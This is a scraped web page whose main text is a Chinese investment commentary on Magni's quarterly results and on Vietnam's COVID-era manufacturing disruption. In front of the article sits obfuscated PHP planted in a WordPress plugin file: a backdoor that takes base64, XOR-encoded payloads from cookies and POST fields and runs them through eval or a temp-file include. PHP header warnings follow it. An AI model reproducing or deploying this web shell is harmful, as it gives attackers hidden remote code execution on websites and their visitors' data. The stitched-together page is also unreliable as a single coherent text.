$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
Omicron冲击越南制造地位又不保,美女不再受市场讨喜? - Sharix

Omicron冲击越南制造地位又不保,美女不再受市场讨喜?

越南制造在近几年受到市场关注,有的投资者更是认为越南能够代替中国制造来满足世界的供应。但是,变种病毒的爆发导致越南制造也完全瘫痪,这也让许多在越南设有工厂的跨国公司必须重新审视在越南的投资,甚至有公司已经开始搬迁生产线撤离越南。而这对于在越南有工厂的MAGNI到底有什么影响,最新季度的业绩投资者又要怎么去做解读,笔者为大家探讨。

公司2Q2022的营收按年大幅下跌58.3% 至RM112.3 million,主要是公司在越南的工厂被迫在7月19日至9月30日关闭去克制疫情的扩散导致产能受到限制,影响了公司的成衣制造订单交付。细分公司的业务来看,成衣制造业务营收按年大幅下滑65.2% 至RM85.1 million,而包装业务则按年上涨11.1% 至RM27.2 million。

但是,公司的净利在应收大幅下滑的背景下却只按年下跌18% 至RM17.1 million,主要是公司在这个季度有RM16.9 million的资产脱售盈利,这在之前笔者的文章也有提到。如果排除这项盈利,公司的核心净利只有区区的RM0.2 million左右。如果再排除外汇盈利,公司这个季度其实是陷入亏损的。但笔者认为公司能在越南工厂完全关闭两个月还能交出收支平衡的业绩,其实管理层的能力已经非常不错。

观察资产负债表,大家可以发现公司的库存水平还在创下历史新高的RM288.2 million,主要是这个季度大部分时间无法进行生产所致,这也使到公司在6M2022的营运现金流按年下滑60.5% 至RM32.4 million。但笔者认为公司在来临季度会加快生产去赶订单,届时营运现金流也会跟着改善。目前公司处于净现金RM386.7 million的状态,也没有任何负债。值得庆幸的是,公司在这个季度也开始派发2分的中期股息。

公司目前的本益比为7倍,并不是因为盈利成长导致估值变得便宜,而是大马和越南的封锁措施导致公司的股价下滑。然而管理层表示公司已经在去年十月开始恢复量产,目前的产能使用率在88%。另外,公司在越南已经有90% 的员工完全接种疫苗。虽然最坏的时刻已经过去,但笔者认为公司今年的盈利相比于去年会逊色,甚至有机会刷下近几年的新低,主要是原料成本高涨及供应链瓶颈的因素侵蚀公司的赚幅。

对于MAGNI这类型的单一客户风险极大的公司,笔者认为市场也不会给予公司太高的估值。虽然说公司和主要客户Nike有多年的合作关系,但还是承担不起失去客户的风险。最典型的例子就是去年所发生的劳工剥削事件导致Dyson终止和ATAIMS的合作。当时前者占后者80% 以上的营收,在大客户拔插头之后公司的股价也跌停板。因此,大家也会发现公司在过去多年的本益比大部分时间都在8至10倍之间徘徊。

越南制造是在近几年才开始盛行,而越南会成为东南亚制造大国都源自于美国前总统特朗普发动贸易战之后。当时美国为了克制中国制造业的高速发展,便采取各种阴谋去阻碍中国制造业的进步,以达到打压中国的目的。这导致许多跨国企业把工厂都搬迁至人力资源充足、劳动力相对廉价、土地及生产原料也相对便宜的越南。跨国企业转移到越南的产业链多为服装、制鞋、家具、电子等方面的组装制造。在西方国家的大力注资之下,越南经济确实取得不少成绩,也逐渐成为全球制造业供应链中非常重要的枢纽。

然而,越南因为无法控制Delta变种病毒导致疫情在国内迅速扩散。越南政府也在去年第三季度在经济重镇胡志明市和平阳省开始实行为期两个月的封锁措施。这两个地区是接受外国直接投资最多、加工出口型企业最集中的地区,但同时也是疫情形势最为严峻的地方。在面临大量停工,众多工人被迫隔离或返回家乡,导致许多外国企业纷纷撤离。而代表欧美和韩国投资者的四大商会向越南政府表示至少有20% 的制造企业已经把部分生产线转移至别国。

众所周知越南是名列前茅的鞋类和服装产品生产国,也是全球主要电子产品的出口国。英特尔、诺基亚、佳能、台积电、微软、三星、耐克、苹果、丰田汽车等世界知名企业都在当地投资建厂,但越南的防控措施杀了个措手不及,让这些企业都损失巨额的产能,导致管理层在最新的财报纷纷下调了个别的销售预期。

UNIQLO品牌的持有公司迅销在越南40多家工厂因为无法按时交货,原计划推出的UNIQLO服饰新品只能延期销售。Nike关闭了在越南80% 的鞋厂和半数的服装厂也损失了10周的产量,Adidas今年的销售也因为越南的供应链瓶颈就下降了6亿美元。另外,丰田汽车也下调了汽车产量,三星电子在越南的工厂开工率下跌至30%,you name it!

经过这次的事件,也让企业意识到到底越南还是不是合适的生产基地。越南能成为中国之后国际企业的首选主要是人工成本便宜。在贸易战开打之后很多企业为了绕过中国而选择到越南进行生产。但是,越南本身没有制造疫苗的能力,也没有办法像大马达到很高的疫苗接种率,同时又要承担制造大国的重担。

因此,要说越南是继中国之后的世界工厂还真的是夸大其词,而中国在这次疫情当中也展现了其作为世界工厂的韧性。笔者认为疫情过后的越南会东山再起,但企业已经知道不能把所有鸡蛋放在越南这个篮子里,因此依赖越南生产的上市公司也必须对未来生产基地的规划重新审视。另外,Omicron确诊人数在过去数周持续突破历史新高,到底全球的产业链会如何做出改变,也是所有投资者必须思考的问题。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台